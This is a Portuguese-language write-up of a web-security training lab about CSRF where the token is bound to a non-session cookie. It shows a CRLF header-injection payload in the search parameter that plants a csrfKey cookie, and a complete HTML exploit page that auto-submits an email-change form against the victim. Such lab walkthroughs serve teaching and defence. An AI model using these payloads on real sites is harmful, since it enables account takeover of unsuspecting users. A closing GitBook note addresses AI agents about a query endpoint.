> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/csrf/csrf-token-tied-to-non-session-cookie.md).

# CSRF com Token Vinculado a um Cookie, mas Não à Sessão

### CSRF onde o token está vinculado a um cookie não relacionado à sessão

O recurso de alteração de e-mail é vulnerável a CSRF. Ele usa chips, mas eles não estão totalmente integrados ao mecanismo de sessão. Contas fornecidas: `wiener:peter` e `carlos:montoya`.

### Ideia principal

* Existe um `csrfKey` cookie e um `CSRF` parâmetro de consulta para a alteração de e-mail. Ambos os valores estão "sincronizados", mas **não relacionados à sessão**.

<figure><img src="/files/0c923ddf48cfd35d9f85670e8792546752d1102b" alt=""><figcaption></figcaption></figure>

* Ao copiar o par (`csrfKey`, `CSRF`) de uma conta para outra, é possível alterar o e-mail de uma vítima **sem** que ele esteja vinculado à sua sessão.
* O campo de busca salva a última pesquisa em um cookie de sessão (`último searchTerm`).

<figure><img src="/files/98a97aec01fdbd7e0b3dd27a0095d64f9719c540" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ed844bce3940349d06a025cfeaeab0aaf7693de5" alt=""><figcaption></figcaption></figure>

#### Técnico (Injeção de CRLF via Pesquisa)

* É possível **injetar cabeçalhos** via a busca para forçar o navegador a definir um cookie arbitrário.

Uma string simples como `hello csrfKey=aZCI...` não é interpretada.

```
hello csrfKey=aZCI65XauInHYlpP2MXHzMAssSvvyn74
```

<figure><img src="/files/c451a8efa825df2c987a5e8bc79fa66bae1f1edc" alt=""><figcaption></figcaption></figure>

Por outro lado, com **retorno de carro + avanço de linha** (`/r` = `%0d`, `/n` = `%0a`):

```
man ascii
```

<figure><img src="/files/39c312df256036c809a54778c68dc0883097389a" alt=""><figcaption></figcaption></figure>

Exemplo funcionando:

<figure><img src="/files/0e78711d6447e8b32dc516778606df4b4911de2d" alt=""><figcaption></figcaption></figure>

```
hello%0d%0aSet-Cookie:%20csrfKey=a
```

→ interpretado como um **Set-Cookie** no lado da resposta.

<figure><img src="/files/9a3746254130f36ecb617e37661a1f27e6d9a3f7" alt=""><figcaption></figcaption></figure>

Para um contexto entre sites, especifique `SameSite=none` para que o cookie acompanhe a próxima requisição após o exploit.

Exemplo (na barra de endereço/pesquisa):

{% code overflow="wrap" %}

```
hello%0d%0aSet-Cookie:%20csrfKey%3dGI0PraUBw0m976F6vn51dbYYzh6EtwvZ%3b%20SameSite%3dnone

olá
Set-Cookie: csrfKey=GI0PraUBw0m976F6vn51dbYYzh6EtwvZ; SameSite=none
```

{% endcode %}

### Operador hospedado

1. **Forçando** o `csrfKey` cookie na vítima por meio de uma solicitação de imagem para a página de pesquisa (que reescreve o cabeçalho):

```html
<form class="login-form" name="change-email-form" action="https://0a810098043d26f1806a030e0062002e.web-security-academy.net/my-account/change-email" method="POST">
      <input "hidden" name="email" value="hacked@jord4n.pro">
      <input required="" type="hidden" name="csrf" value="GI0PraUBw0m976F6vn51dbYYzh6EtwvZ">
</form>

<img  src="https://0a810098043d26f1806a030e0062002e.web-security-academy.net/?search=hello%0d%0aSet-Cookie:%20csrfKey%3d9Okbeh77JZpcZA9ObPqnLuR95v3L40oc%3b%20SameSite%3dnone" onerror="document.forms[0].submit();">
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/csrf/csrf-token-tied-to-non-session-cookie.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
